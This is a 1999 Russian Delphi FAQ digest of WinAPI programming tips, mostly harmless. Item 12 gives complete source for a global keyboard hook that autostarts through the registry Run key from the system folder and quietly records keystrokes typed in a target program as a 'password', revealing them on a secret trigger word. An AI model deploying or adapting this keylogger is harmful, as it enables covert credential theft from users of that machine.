faqs.org.ru

 Главная > Программирование > Языки Pascal/Delphi >

Дайджест по конференции RU.DELPHI [by AK]


                          AKdTopic от 02.07.99

   Дайджест по эхоконференции ru.delphi, включил в себя все то, что
          показалось мне интересным на момент его составления.

                              Новую версию этого файла можно всегда
                              запросить с AKServer (2:5019/10.99),
                              указав в поле subj: "AKdTopic"

 Cоставил Alexander Kramarenko (2:5019/10.99)


-------------------------------------------------------------------------------

Содержание :

 1> Как минимизиpовать все запущеные окна ?
 2> Как заставить появляться хинт, когда я захочy ?
 3> Как пpогpамно вывести окно свойств экpана?
 4> Как вывести окно свойств компьютеpа?
 5> Как вывести окно "Выполнить" из виндов?
 6> Как очистить коpзинy?
 7> Как работать с плагинами ?
 8> Как таскать окно за нужный мне элемент на нём?
 9> Как перетаскивать форму за её любое место.
10> Как поместить иконку в Tray ?
11> Как получить информацию о загрузке процессора ?
12> Как отловить нажатия клавиш для всех процессов в системе?
13> Как вытащить VersionInfo из свойств проекта ?
14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?
15> Как послать некое сообщение всем формам ?
16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
17> Как сделать имитацию ввода с клавиатуры для дос-программы ?
18> Как вызвать модальную форму и обеспечить возврат ее параметров ?
19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?
20> Как вызвать браузер, который установлен в виндах по умолчанию ?
21> Как включать/выключать лампочки на numlock, capslock, etc... ?
22> С каким числовым форматом Delphi работает быстрее всего ?





-------------------------------------------------------------------------------

 1> Как минимизиpовать все запущеные окна ?

/* Начало (MINIMIZE.DPR)
{$APPTYPE CONSOLE}
program Minimize;
uses Windows,Messages;
var Count:integer;

function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
  if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and
     (IsWindowVisible (WinHandle)) then begin
    PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    Inc(Count);
  end;
  EnumProc := TRUE;
end;

begin
  Count:=0;
  EnumWindows (@EnumProc, 0);
  Writeln('Minimized:',Count,' windows');
end.
конец (MINIMIZE.DPR)*/

-------------------------------------------------------------------------------

 2> Как заставить появляться хинт, когда я захочy ?

{Появление}
IF h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
IF h<>nil H.ReleaseHandle;

По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.

-------------------------------------------------------------------------------

 3> Как пpогpамно вывести окно свойств экpана?

ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);

-------------------------------------------------------------------------------

 4> Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,
sw_ShowNormal);

-------------------------------------------------------------------------------

 5> Как вывести окно "Выполнить" из виндов?

Если из виндов, то нажать на кнопку "Пуск" и выбрать команду "Выполнить" ;-)

-------------------------------------------------------------------------------

 6> Как очистить коpзинy?

Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по
крайней мере в win32.hlp ее нет).

-------------------------------------------------------------------------------

 7> Как работать с плагинами ?

Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и
пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным
жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL
считается моим плагином, если нет - выгрузить и забыть.

А набор вызываемых функций по идее одинаков у всех плагинов, и программа
(основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то
ничего не мешает тебе определить в плагине функцию наподобие GetFeatures,
возвращающую список строк-названий поддержанных плагином процедур.

Вот часть моего кода по работе с плагинами...

=================
...
type
  // Процедурные типы для хранения ссылок на функции плагинов
  TGetNProc=function:shortstring;
  TGetSProc=function:integer;
  TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
  TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
  TSaveLoadProc=procedure(inifile:pointer; var config:pointer);

  // Информация об отдельном плагине
  TPlugin=record
    Name:shortstring;                   // Полное название
    Filename:shortstring;               // Имя файла
    Handle:integer;                     // Хэндл загруженной DLL
    CFGSize:integer;                    // Размер конфигурации в RAM
        ProcessProc: TProcessProc;      // Адрес процедуры обработки
         ConfigProc: TConfigProc;       // Адрес процедуры настройки
    LoadCFG,SaveCFG:TSaveLoadProc;      // Адреса процедур чтения/записи cfg
  end;
  PPlugin=^TPlugin;

  // Список загруженных плагинов
  TPlugins=class(TList);

...

var
  Plugins:TPlugins;  sr:TSearchRec;  lib:integer;
  pgetn:TGetNProc;  pgets: TGetSProc;  plugin:PPlugin;

...

// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
  ShowMessage('Не найдено подключаемых модулей.');
  Close;
end;
repeat
  lib:=LoadLibrary(PChar(sr.Name));
  if lib<>0 then begin
    @pgetn:=GetProcAddress(lib, 'GetPluginName');
    if @pgetn=nil then FreeLibrary(lib)    // Не плагин
    else begin
      New(plugin);
      @pgets:=GetProcAddress(lib, 'GetCFGSize');
      plugin.Name:=pgetn;
      plugin.Filename:=sr.Name;
      plugin.CFGSize:=pgets;
      plugin.Handle:=lib;
      plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
      plugin.ProcessProc:=GetProcAddress(lib, 'Process');
      plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
      plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
      Plugins.Add(plugin);
    end;
  end;
until FindNext(sr)<>0;
FindClose(sr);
...

-------------------------------------------------------------------------------

 8> Как таскать окно за нужный мне элемент на нём?

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;  { a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;

-------------------------------------------------------------------------------

 9> Переиаскивание формы за любое её место.

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
  Message.Result := HTCAPTION
else
  Message.Result := HTNOWHERE;
end;


-------------------------------------------------------------------------------

10> Как поместить иконку в Tray ?

function TaskBarAddIcon( hWindow : THandle; ID  : Cardinal;
 ICON : hicon; CallbackMessage : Cardinal; Tip  : String ) : Boolean;
var
 NID : TNotifyIconData;
begin
 FillChar( NID, SizeOf( TNotifyIconData ), 0 );
 with NID do begin
  cbSize := SizeOf( TNotifyIconData );
  Wnd   := hWindow;
  uID    := ID;
  uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  uCallbackMessage := CallbackMessage;
  hIcon  := Icon;
  if Length( Tip ) > 63 then SetLength( Tip, 63 );
  StrPCopy( szTip, Tip );
 end;
 Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;

-------------------------------------------------------------------------------

11> Как получить информацию о загрузке процессора ?

Читать из реестра HKEY_DYN_DATA\PerfStats\StatData соответствующий ключ
Kernel \CPUUsage.

-------------------------------------------------------------------------------

12> Как отловить нажатия клавиш для всех процессов в системе?

Setup.bat
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
KbdHook.dpr
program cwbhook;

uses Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat until not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
   hFileMappingObject: THandle;
   fInit: Boolean;

 {----------------------------\
 |                            |
 |    DLL_PROCESS_DETACH      |
 |                            |
 \----------------------------}

procedure DLLMain(Reason: Integer);
begin

  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;

end;

{----------------------------\
|                            |
|     DLL_PROCESS_ATTACH     |
|                            |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF), // use paging file
    nil, // no security attributes
    PAGE_READWRITE, // read/write access
    0, // size: high 32 bits
    4096, // size: low 32 bits
    'HookAgentShareMem' // name of map object
    );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
    hFileMappingObject, // object to map view of
    FILE_MAP_WRITE, // read/write access
    0, // high offset: map from
    0, // low offset: beginning
    0 // default: map entire file
    );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.
KeyboardHook.pas
unit KeyboardHook;

interface

uses Windows;

{------------------------------------------\
|                                          |
|     Глобальные переменные и константы    |
|                                          |
\------------------------------------------}

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_'АДО__') <> nil) and
      (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
    then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end

  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

-+-----------------------------------------------------------------------------

Установлен автор ответа на вопрос.

Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.

Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.

-------------------------------------------------------------------------------

13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в
  > окнах типа About (Label, StaticText, etc)?

function CurrentFileInfo(NameApp : string) : string;
var dump: DWORD;
    size: integer;
    buffer: PChar;
    VersionPointer, TransBuffer: PChar;
    Temp: integer;
    CalcLangCharSet: string;
begin
  size := GetFileVersionInfoSize(PChar(NameApp), dump);
  buffer := StrAlloc(size+1);
  try
   GetFileVersionInfo(PChar(NameApp), 0, size, buffer);

   VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer),
dump);
   if dump >= 4 then
    begin
     temp:=0;
     StrLCopy(@temp, TransBuffer, 2);
     CalcLangCharSet:=IntToHex(temp, 4);
     StrLCopy(@temp, TransBuffer+2, 2);
     CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
    end;

   VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+
             '\'+'FileVersion'), pointer(VersionPointer), dump);
   if (dump > 1) then
    begin
     SetLength(Result, dump);
     StrLCopy(Pchar(Result), VersionPointer, dump);
    end
   else Result := '0.0.0.0';
  finally
    StrDispose(Buffer);
  end;
end;

-------------------------------------------------------------------------------

14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?

TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

  Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться
посредством FieldAddress. Однако этот метод дает адрес полей,
которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг
ты ее достанешь.
  А модифицировать значение можно посредством прямой записи по
адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный
способы, перечисленные в unit'е TypInfo.

  2AS: Модифицировать кучу объектов можно организовав цикл перебора
оных с получением в цикле PropertyInfo объекта и записи в объект
на основе PropInfo.

-------------------------------------------------------------------------------

15> Как послать некое сообщение всем формам ?

var
 I: Integer;
 M: TMessage;
...
with M do begin
 Message := ...
 ...
end;
for I := 0 to Pred(Screen.FormCount) do begin
  PostMessage( Forms[I].Handle, ... );
  // Если надо и всем чилдам
  Forms[I].Broadcast( M );
end;

-------------------------------------------------------------------------------

16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?

Делаешь текстовый файл с ресурсами, типа
--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.
Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.
В своей программе:
var
  h : THandle;
  S: array [0..255] of Char;
begin
  h := LoadLibrary('MY.DLL');
  if h <= 0 then ShowMessage('Bad Dll Load')
  else
  begin
    SetLength(S, 512);
    LoadString(h, 1, @S, 255);
    FreeLibrary(h);
  end;
end;

-------------------------------------------------------------------------------

17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы
  > выполняющейся в дос-окне?

const
  ExtendedKeys: set of Byte = [  // incomplete list
    VK_INSERT, VK_DELETE, VK_HOME,   VK_END,    VK_PRIOR,   VK_NEXT,
    VK_LEFT,   VK_UP,     VK_RIGHT,  VK_DOWN,   VK_NUMLOCK
  ];

procedure SimulateKeyDown(Key : byte);
var
  flags: DWORD;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;

procedure SimulateKeyUp(Key : byte);
var
  flags: DWORD;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;

procedure SimulateKeystroke(Key : byte);
var
  flags: DWORD;
  scancode: BYTE;
begin
  if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
  scancode := MapVirtualKey(Key, 0);
  keybd_event(Key,
              scancode,
              flags,
              0);
  keybd_event(Key,
              scancode,
              KEYEVENTF_KEYUP or flags,
              0);
end;

-------------------------------------------------------------------------------

18> Как вызвать из работающего приложения модальную форму и обеспечить возврат
  > параметров при его закрытии ?

procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
  ModalResult := mrOK;
end;
procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
  ModalResult := mrCancel;
end;

Пример обработки результат ниже :

procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyDialogBox1.ShowModal = mrOK then
    Beep;
end;

-------------------------------------------------------------------------------

19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?

{$APPTYPE CONSOLE}
// индикатоp pесуpсов
program res;
function MyGetFreeSystemResources32(Id:integer):integer;
 stdcall; external 'rsrc32' name '_MyGetFreeSystemResources32@4';
const
 rSystem=0;
 rGDI=1;
 rUSER=2;
begin
  writeln('free resources');
  writeln('System:',MyGetFreeSystemResources32(rSystem),'%');
  writeln('GDI:',MyGetFreeSystemResources32(rGDI),'%');
  writeln('USER:',MyGetFreeSystemResources32(rUSER),'%');
end.

-------------------------------------------------------------------------------

20> Как вызвать браузер, который установлен в виндах по умолчанию ?

  ShellExecute(0,'OPEN','HTTP://www.youraddress.com',NIL,NIL,0);

-------------------------------------------------------------------------------

21> Как включать/выключать лампочки на numlock, capslock, etc... ?

procedure SetNumLock(bState:Boolean);
var
   KeyState : TKeyboardState;
begin
   GetKeyboardState(KeyState);
   if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or
      ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
   // Simulate a key press
      keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
   // Simulate a key release
      keybd_event( VK_NUMLOCK, $45,  (KEYEVENTF_EXTENDEDKEY or
KEYEVENTF_KEYUP), 0);
end;

Заменяйте VK_NUMLOCK на все что душе угодно.

-------------------------------------------------------------------------------

22> С каким числовым форматом Delphi работает быстрее всего ?

  Простой тест: под рукой прога для вычисления координат цвета
по спектру из 10000 точек, вычислений там прилично:

 type     time, sec
-------------------
 single     2.20
 double     3.63
 real       4.28
 extended   5.95

-------------------------------------------------------------------------------

лицензия на обслуживание источников ионизирующего излучения
apreal.ru

Вернуться в раздел "Языки Pascal/Delphi" - Обсудить эту статью на Форуме
Главная - Поиск по сайту - О проекте - Форум - Обратная связь

© faqs.org.ru